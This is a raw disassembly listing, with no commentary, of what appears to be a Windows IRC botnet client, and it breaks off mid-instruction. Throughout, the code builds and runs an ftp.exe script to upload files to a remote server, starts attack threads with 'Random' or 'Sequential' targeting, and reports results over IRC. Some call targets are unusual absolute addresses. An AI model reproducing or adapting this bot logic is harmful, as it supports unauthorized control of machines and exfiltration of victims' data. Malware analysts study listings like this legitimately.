CODE XREF: sub_401ACD+577Cj nop call near ptr 2670763h push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj call near ptr 26805CDh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call near ptr 2670763h nop push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2660F57h nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj call near ptr 2670763h nop push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2660F57h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2670763h push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2660F57h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2670763h push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 2660F57h jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2670763h push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 2660F57h nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call near ptr 2670763h nop push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call near ptr 2660F57h nop jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 2670763h push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2660F57h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j call near ptr 2670763h nop push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 2660F57h jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2670763h push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2670763h push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 26909E1h test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h call near ptr 2660F57h nop jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 2670763h push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call 